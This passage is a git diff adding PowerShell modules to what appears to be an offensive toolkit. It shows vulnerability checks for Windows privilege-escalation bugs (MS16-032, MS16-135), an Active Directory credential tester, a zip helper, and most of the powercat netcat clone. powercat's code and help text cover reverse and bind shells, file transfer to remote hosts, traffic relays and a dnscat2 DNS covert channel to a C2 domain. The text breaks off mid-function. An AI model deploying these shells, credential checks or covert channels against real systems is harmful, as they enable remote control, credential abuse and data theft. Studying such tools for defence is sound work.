$VulnStatus = "Not Vulnerable" } + + } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-MS16032 { + + $MSBulletin = "MS16-032" + + $CPUCount = Get-CPUCoreCount + + if ( $CPUCount -eq "1" ) { + + $VulnStatus = "Not Supported on single-core systems" + + } Else { + + $Architecture = Get-Architecture + + if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { + + $Path = $env:windir + "\system32\seclogon.dll" + + } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { + + $Path = $env:windir + "\sysnative\seclogon.dll" + + } + + $VersionInfo = Get-FileVersionInfo($Path) + + $VersionInfo = $VersionInfo.Split(".") + + $Build = [int]$VersionInfo[2] + $Revision = [int]$VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 6002 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 19598 -Or ( $Revision -ge 23000 -And $Revision -le 23909 ) ] } + 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 19148 ] } + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 19148 -Or ( $Revision -ge 23000 -And $Revision -le 23347 ) ] } + 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 17649 -Or ( $Revision -ge 21000 -And $Revision -le 21767 ) ] } + 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 18230 ] } + 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 16724 ] } + 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 161 ] } + default { $VulnStatus = "Not Vulnerable" } + + } + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} + +function Find-CVE20177199 { + + $CVEID = "2017-7199" + $SoftwareVersion = Get-InstalledSoftware "Nessus Agent" + + if ( !$SoftwareVersion ) { + + $VulnStatus = "Not Vulnerable" + + } else { + + $SoftwareVersion = $SoftwareVersion.Split(".") + + $Major = [int]$SoftwareVersion[0] + $Minor = [int]$SoftwareVersion[1] + $Build = [int]$SoftwareVersion[2] + + switch( $Major ) { + + 6 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Minor -eq 10 -and $Build -le 3 -Or ( $Minor -eq 6 -and $Build -le 2 ) -Or ( $Minor -le 9 -and $Minor -ge 7 ) ] } # 6.6.2 - 6.10.3 + default { $VulnStatus = "Not Vulnerable" } + + } + + } + + Set-ExploitTable $CVEID $VulnStatus + +} + +function Find-MS16135 { + + $MSBulletin = "MS16-135" + $Architecture = Get-Architecture + + if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { + + $Path = $env:windir + "\system32\win32k.sys" + + } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { + + $Path = $env:windir + "\sysnative\win32k.sys" + + } + + $VersionInfo = Get-FileVersionInfo($Path) + $VersionInfo = $VersionInfo.Split(".") + + $Build = [int]$VersionInfo[2] + $Revision = [int]$VersionInfo[3].Split(" ")[0] + + switch ( $Build ) { + + 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 23584 ] } + 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 18524 ] } + 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 16384 ] } + 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 19 ] } + 14393 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 446 ] } + default { $VulnStatus = "Not Vulnerable" } + + } + + Set-ExploitTable $MSBulletin $VulnStatus + +} diff --git a/Modules/Test-ADCredential.ps1 b/Modules/Test-ADCredential.ps1 new file mode 100644 index 0000000..9641f4b --- /dev/null +++ b/Modules/Test-ADCredential.ps1 @@ -0,0 +1,12 @@ + Function Test-ADCredential + { + Param($username, $password, $domain) + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) + $object = New-Object PSObject | Select Username, Password, IsValid + $object.Username = $username; + $object.Password = $password; + $object.IsValid = $pc.ValidateCredentials($username, $password).ToString(); + return $object + } diff --git a/Modules/Zippy.ps1 b/Modules/Zippy.ps1 new file mode 100644 index 0000000..dfbd47c --- /dev/null +++ b/Modules/Zippy.ps1 @@ -0,0 +1,133 @@ +$psver = $PSVersionTable.psversion.Major +if ($psver -eq '2') { + Write-Output "Powershell version 3 required" +} +function New-ZipFile { + #.Synopsis + # Create a new zip file, optionally appending to an existing zip... + [CmdletBinding()] + param( + # The path of the zip to create + [Parameter(Position=0, Mandatory=$true)] + $ZipFilePath, + + # Items that we want to add to the ZipFile + [Parameter(Position=1, Mandatory=$true, ValueFromPipelineByPropertyName=$true)] + [Alias("PSPath","Item")] + [string[]]$InputObject = $Pwd, + + # Append to an existing zip file, instead of overwriting it + [Switch]$Append, + + # The compression level (defaults to Optimal): + # Optimal - The compression operation should be optimally compressed, even if the operation takes a longer time to complete. + # Fastest - The compression operation should complete as quickly as possible, even if the resulting file is not optimally compressed. + # NoCompression - No compression should be performed on the file. + [System.IO.Compression.CompressionLevel]$Compression = "Optimal" + ) + begin { + Add-Type -As System.IO.Compression.FileSystem + # Make sure the folder already exists + [string]$File = Split-Path $ZipFilePath -Leaf + [string]$Folder = $(if($Folder = Split-Path $ZipFilePath) { Resolve-Path $Folder } else { $Pwd }) + $ZipFilePath = Join-Path $Folder $File + # If they don't want to append, make sure the zip file doesn't already exist. + if(!$Append) { + if(Test-Path $ZipFilePath) { Remove-Item $ZipFilePath } + } + $Archive = [System.IO.Compression.ZipFile]::Open( $ZipFilePath, "Update" ) + } + process { + foreach($path in $InputObject) { + foreach($item in Resolve-Path $path) { + # Push-Location so we can use Resolve-Path -Relative + Push-Location (Split-Path $item) + # This will get the file, or all the files in the folder (recursively) + foreach($file in Get-ChildItem $item -Recurse -File -Force | % FullName) { + # Calculate the relative file path + $relative = (Resolve-Path $file -Relative).TrimStart(".\") + # Add the file to the zip + $null = [System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($Archive, $file, $relative, $Compression) + } + Pop-Location + } + } + } + end { + $Archive.Dispose() + Get-Item $ZipFilePath + } +} + + +function Expand-ZipFile { + #.Synopsis + # Expand a zip file, ensuring it's contents go to a single folder ... + [CmdletBinding()] + param( + # The path of the zip file that needs to be extracted + [Parameter(ValueFromPipelineByPropertyName=$true, Position=0, Mandatory=$true)] + [Alias("PSPath")] + $FilePath, + + # The path where we want the output folder to end up + [Parameter(Position=1)] + $OutputPath = $Pwd, + + # Make sure the resulting folder is always named the same as the archive + [Switch]$Force + ) + process { + $ZipFile = Get-Item $FilePath + $Archive = [System.IO.Compression.ZipFile]::Open( $ZipFile, "Read" ) + + # Figure out where we'd prefer to end up + if(Test-Path $OutputPath) { + # If they pass a path that exists, we want to create a new folder + $Destination = Join-Path $OutputPath $ZipFile.BaseName + } else { + # Otherwise, since they passed a folder, they must want us to use it + $Destination = $OutputPath + } + + # The root folder of the first entry ... + $ArchiveRoot = ($Archive.Entries[0].FullName -Split "/|\\")[0] + + Write-Verbose "Desired Destination: $Destination" + Write-Verbose "Archive Root: $ArchiveRoot" + + # If any of the files are not in the same root folder ... + if($Archive.Entries.FullName | Where-Object { @($_ -Split "/|\\")[0] -ne $ArchiveRoot }) { + # extract it into a new folder: + New-Item $Destination -Type Directory -Force + [System.IO.Compression.ZipFileExtensions]::ExtractToDirectory( $Archive, $Destination ) + } else { + # otherwise, extract it to the OutputPath + [System.IO.Compression.ZipFileExtensions]::ExtractToDirectory( $Archive, $OutputPath ) + + # If there was only a single file in the archive, then we'll just output that file... + if($Archive.Entries.Count -eq 1) { + # Except, if they asked for an OutputPath with an extension on it, we'll rename the file to that ... + if([System.IO.Path]::GetExtension($Destination)) { + Move-Item (Join-Path $OutputPath $Archive.Entries[0].FullName) $Destination + } else { + Get-Item (Join-Path $OutputPath $Archive.Entries[0].FullName) + } + } elseif($Force) { + # Otherwise let's make sure that we move it to where we expect it to go, in case the zip's been renamed + if($ArchiveRoot -ne $ZipFile.BaseName) { + Move-Item (join-path $OutputPath $ArchiveRoot) $Destination + Get-Item $Destination + } + } else { + Get-Item (Join-Path $OutputPath $ArchiveRoot) + } + } + + $Archive.Dispose() + } +} + +# Add the aliases ZIP and UNZIP +new-alias zip new-zipfile +new-alias unzip expand-zipfile diff --git a/Modules/powercat.ps1 b/Modules/powercat.ps1 new file mode 100644 index 0000000..2a5b58c --- /dev/null +++ b/Modules/powercat.ps1 @@ -0,0 +1,946 @@ +function powercat +{ + param( + [alias("Client")][string]$c="", + [alias("Listen")][switch]$l=$False, + [alias("Port")][Parameter(Position=-1)][string]$p="", + [alias("Execute")][string]$e="", + [alias("ExecutePowershell")][switch]$ep=$False, + [alias("Relay")][string]$r="", + [alias("UDP")][switch]$u=$False, + [alias("dnscat2")][string]$dns="", + [alias("DNSFailureThreshold")][int32]$dnsft=10, + [alias("Timeout")][int32]$t=60, + [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null, + [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host", + [alias("OutputFile")][string]$of="", + [alias("Disconnect")][switch]$d=$False, + [alias("Repeater")][switch]$rep=$False, + [alias("GeneratePayload")][switch]$g=$False, + [alias("GenerateEncoded")][switch]$ge=$False, + [alias("Help")][switch]$h=$False + ) + + ############### HELP ############### + $Help = " +powercat - Netcat, The Powershell Version +Github Repository: https://github.com/besimorhino/powercat + +This script attempts to implement the features of netcat in a powershell +script. It also contains extra features such as built-in relays, execute +powershell, and a dnscat2 client. + +Usage: powercat [-c or -l] [-p port] [options] + + -c Client Mode. Provide the IP of the system you wish to connect to. + If you are using -dns, specify the DNS Server to send queries to. + + -l Listen Mode. Start a listener on the port specified by -p. + + -p Port. The port to connect to, or the port to listen on. + + -e Execute. Specify the name of the process to start. + + -ep Execute Powershell. Start a pseudo powershell session. You can + declare variables and execute commands, but if you try to enter + another shell (nslookup, netsh, cmd, etc.) the shell will hang. + + -r Relay. Used for relaying network traffic between two nodes. + Client Relay Format: -r :: + Listener Relay Format: -r : + DNSCat2 Relay Format: -r dns::: + + -u UDP Mode. Send traffic over UDP. Because it's UDP, the client + must send data before the server can respond. + + -dns DNS Mode. Send traffic over the dnscat2 dns covert channel. + Specify the dns server to -c, the dns port to -p, and specify the + domain to this option, -dns. This is only a client. + Get the server here: https://github.com/iagox86/dnscat2 + + -dnsft DNS Failure Threshold. This is how many bad packets the client can + recieve before exiting. Set to zero when receiving files, and set high + for more stability over the internet. + + -t Timeout. The number of seconds to wait before giving up on listening or + connecting. Default: 60 + + -i Input. Provide data to be sent down the pipe as soon as a connection is + established. Used for moving files. You can provide the path to a file, + a byte array object, or a string. You can also pipe any of those into + powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80 + + -o Output. Specify how powercat should return information to the console. + Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'. + + -of Output File. Specify the path to a file to write output to. + + -d Disconnect. powercat will disconnect after the connection is established + and the input from -i is sent. Used for scanning. + + -rep Repeater. powercat will continually restart after it is disconnected. + Used for setting up a persistent server. + + -g Generate Payload. Returns a script as a string which will execute the + powercat with the options you have specified. -i, -d, and -rep will not + be incorporated. + + -ge Generate Encoded Payload. Does the same as -g, but returns a string which + can be executed in this way: powershell -E + + -h Print this help message. + +Examples: + + Listen on port 8000 and print the output to the console. + powercat -l -p 8000 + + Connect to 10.1.1.1 port 443, send a shell, and enable verbosity. + powercat -c 10.1.1.1 -p 443 -e cmd -v + + Connect to the dnscat2 server on c2.example.com, and send dns queries + to the dns server on 10.1.1.1 port 53. + powercat -c 10.1.1.1 -p 53 -dns c2.example.com + + Send a file to 10.1.1.15 port 8000. + powercat -c 10.1.1.15 -p 8000 -i C:\inputfile + + Write the data sent to the local listener on port 4444 to C:\outfile + powercat -l -p 4444 -of C:\outfile + + Listen on port 8000 and repeatedly server a powershell shell. + powercat -l -p 8000 -ep -rep + + Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp. + powercat -l -p 8000 -r tcp:10.1.1.1:9000 + + Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com, + sending queries to 10.1.1.1 port 53. + powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com +" + if($h){return $Help} + ############### HELP ############### + + ############### VALIDATE ARGS ############### + $global:Verbose = $Verbose + if($of -ne ''){$o = 'Bytes'} + if($dns -eq "") + { + if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."} + if($p -eq ""){return "Please provide a port number to -p."} + } + if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"} + if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."} + if($l) + { + $Failure = $False + netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}} + if($Failure){break} + } + if($r -ne "") + { + if($r.split(":").Count -eq 2) + { + $Failure = $False + netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}} + if($Failure){break} + } + } + ############### VALIDATE ARGS ############### + + ############### UDP FUNCTIONS ############### + function Setup_UDP + { + param($FuncSetupVars) + if($global:Verbose){$Verbose = $True} + $c,$l,$p,$t = $FuncSetupVars + $FuncVars = @{} + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + if($l) + { + $SocketDestinationBuffer = New-Object System.Byte[] 65536 + $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p + $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p + $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation + Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]") + $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null) + $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + while($True) + { + if($Host.UI.RawUI.KeyAvailable) + { + if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode)) + { + Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..." + $FuncVars["Socket"].Close() + $Stopwatch.Stop() + break + } + } + if($Stopwatch.Elapsed.TotalSeconds -gt $t) + { + $FuncVars["Socket"].Close() + $Stopwatch.Stop() + Write-Verbose "Timeout!" ; break + } + if($ConnectHandle.IsCompleted) + { + $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo) + Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")") + if($SocketBytesRead -gt 0){break} + else{break} + } + } + $Stopwatch.Stop() + $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)] + } + else + { + if(!$c.Contains(".")) + { + $IPList = @() + [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString} + Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0]) + $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p + } + else + { + $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p + } + $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient + $FuncVars["Socket"].Connect($c,$p) + Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...") + Write-Verbose ("UDP: Make sure to send some data so the server can notice you!") + } + $FuncVars["BufferSize"] = 65536 + $FuncVars["EndPoint"] = $EndPoint + $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"] + $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) + return $FuncVars + } + function ReadData_UDP + { + param($FuncVars) + $Data = $null + if($FuncVars["StreamReadOperation"].IsCompleted) + { + $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"]) + if($StreamBytesRead -eq 0){break} + $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] + $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) + } + return $Data,$FuncVars + } + function WriteData_UDP + { + param($Data,$FuncVars) + $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null + return $FuncVars + } + function Close_UDP + { + param($FuncVars) + $FuncVars["Socket"].Close() + } + ############### UDP FUNCTIONS ############### + + ############### DNS FUNCTIONS ############### + function Setup_DNS + { + param($FuncSetupVars) + if($global:Verbose){$Verbose = $True} + function ConvertTo-HexArray + { + param($String) + $Hex = @() + $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_} + return $Hex + } + + function SendPacket + { + param($Packet,$DNSServer,$DNSPort) + $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit") + $result = ($Command | nslookup 2>&1 | Out-String) + if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)} + else{return 1} + } + + function Create_SYN + { + param($SessionId,$SeqNum,$Tag,$Domain) + return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain) + } + + function Create_FIN + { + param($SessionId,$Tag,$Domain) + return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain) + } + + function Create_MSG + { + param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain) + return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain) + } + + function DecodePacket + { + param($Packet) + + if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1} + $AcknowledgementNumber = ($Packet[10..13] -join "") + $SeqNum = ($Packet[14..17] -join "") + [byte[]]$ReturningData = @() + + if($Packet.Length -gt 18) + { + $PacketElim = $Packet.Substring(18) + while($PacketElim.Length -gt 0) + { + $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16) + $PacketElim = $PacketElim.Substring(2) + } + } + + return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum + } + + function AcknowledgeData + { + param($ReturningData,$AcknowledgementNumber) + $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535)) + if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)} + return $Hex + } + $FuncVars = @{} + $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars + if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"} + $FuncVars["Tag"] = "" + $FuncVars["Domain"] = ("." + $FuncVars["Domain"]) + + $FuncVars["Create_SYN"] = ${function:Create_SYN} + $FuncVars["Create_MSG"] = ${function:Create_MSG} + $FuncVars["Create_FIN"] = ${function:Create_FIN} + $FuncVars["DecodePacket"] = ${function:DecodePacket} + $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray} + $FuncVars["AckData"] = ${function:AcknowledgeData} + $FuncVars["SendPacket"] = ${function:SendPacket} + $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) + $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + $FuncVars["Failures"] = 0 + + $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"])) + $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"])) + $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket)) + if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."} + $ReturningData = $DecodedPacket[1] + if($ReturningData -ne ""){$FuncVars["InputData"] = ""} + $FuncVars["AckNum"] = $DecodedPacket[2] + $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length) + if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."} + return $FuncVars + } + function ReadData_DNS + { + param($FuncVars) + if($global:Verbose){$Verbose = $True} + + $PacketsData = @() + $PacketData = "" + + if($FuncVars["InputData"] -ne $null) + { + $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"])) + $SectionCount = 0 + $PacketCount = 0 + foreach($Char in $Hex) + { + if($SectionCount -ge 30) + { + $SectionCount = 0 + $PacketData += "." + } + if($PacketCount -ge ($FuncVars["MaxMSGDataSize"])) + { + $PacketsData += $PacketData.TrimEnd(".") + $PacketCount = 0 + $SectionCount = 0 + $PacketData = "" + } + $PacketData += $Char + $SectionCount += 2 + $PacketCount += 2 + } + $PacketData = $PacketData.TrimEnd(".") + $PacketsData += $PacketData + $FuncVars["InputData"] = "" + } + else + { + $PacketsData = @("") + } + + [byte[]]$ReturningData = @() + foreach($PacketData in $PacketsData) + { + try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])} + catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue } + try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))} + catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue } + try + { + $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet)) + if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue } + $FuncVars["AckNum"] = $DecodedPacket[2] + $FuncVars["SeqNum"] = $DecodedPacket[3] + $ReturningData += $DecodedPacket[1] + } + catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } + if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } + } + + if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break} + + if($ReturningData -ne @()) + { + $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"])) + } + return $ReturningData,$FuncVars + } + function WriteData_DNS + { + param($Data,$FuncVars) + $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data) + return $FuncVars + } + function Close_DNS + { + param($FuncVars) + $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"]) + Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null + } + ############### DNS FUNCTIONS ############### + + ########## TCP FUNCTIONS ########## + function Setup_TCP + { + param($FuncSetupVars) + $c,$l,$p,$t = $FuncSetupVars + if($global:Verbose){$Verbose = $True} + $FuncVars = @{} + if(!$l) + { + $FuncVars["l"] = $False + $Socket = New-Object System.Net.Sockets.TcpClient + Write-Verbose "Connecting..." + $Handle = $Socket.BeginConnect($c,$p,$null,$null) + } + else + { + $FuncVars["l"] = $True + Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")") + $Socket = New-Object System.Net.Sockets.TcpListener $p + $Socket.Start() + $Handle = $Socket.BeginAcceptTcpClient($null, $null) + } + + $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + while($True) + { + if($Host.UI.RawUI.KeyAvailable) + { + if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode)) + { + Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..." + if($FuncVars["l"]){$Socket.Stop()} + else{$Socket.Close()} + $Stopwatch.Stop() + break + } + } + if($Stopwatch.Elapsed.TotalSeconds -gt $t) + { + if(!$l){$Socket.Close()} + else{$Socket.Stop()} + $Stopwatch.Stop() + Write-Verbose "Timeout!" ; break + break + } + if($Handle.IsCompleted) + { + if(!$l) + { + try + { + $Socket.EndConnect($Handle) + $Stream = $Socket.GetStream() + $BufferSize = $Socket.ReceiveBufferSize + Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!") + } + catch{$Socket.Close(); $Stopwatch.Stop(); break} + } + else + { + $Client = $Socket.EndAcceptTcpClient($Handle) + $Stream = $Client.GetStream() + $BufferSize = $Client.ReceiveBufferSize + Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")") + } + break + } + } + $Stopwatch.Stop() + if($Socket -eq $null){break} + $FuncVars["Stream"] = $Stream + $FuncVars["Socket"] = $Socket + $FuncVars["BufferSize"] = $BufferSize + $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"]) + $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + $FuncVars["StreamBytesRead"] = 1 + return $FuncVars + } + function ReadData_TCP + { + param($FuncVars) + $Data = $null + if($FuncVars["StreamBytesRead"] -eq 0){break} + if($FuncVars["StreamReadOperation"].IsCompleted) + { + $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"]) + if($StreamBytesRead -eq 0){break} + $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] + $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) + } + return $Data,$FuncVars + } + function WriteData_TCP + { + param($Data,$FuncVars) + $FuncVars["Stream"].Write($Data, 0, $Data.Length) + return $FuncVars + } + function Close_TCP + { + param($FuncVars) + try{$FuncVars["Stream"].Close()} + catch{} + if($FuncVars["l"]){$FuncVars["Socket"].Stop()} + else{$FuncVars["Socket"].Close()} + } + ########## TCP FUNCTIONS ########## + + ########## CMD FUNCTIONS ########## + function Setup_CMD + { + param($FuncSetupVars) + if($global:Verbose){$Verbose = $True} + $FuncVars = @{} + $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo + $ProcessStartInfo.FileName = $FuncSetupVars[0] + $ProcessStartInfo.UseShellExecute = $False + $ProcessStartInfo.RedirectStandardInput = $True + $ProcessStartInfo.RedirectStandardOutput = $True + $ProcessStartInfo.RedirectStandardError = $True + $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo) + Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...") + $FuncVars["Process"].Start() | Out-Null + $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536 + $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) + $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 + $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + return $FuncVars + } + function ReadData_CMD + { + param($FuncVars) + [byte[]]$Data = @() + if($FuncVars["StdOutReadOperation"].IsCompleted) + { + $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"]) + if($StdOutBytesRead -eq 0){break} + $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)] + $FuncVars["StdOutReadOperation"] = 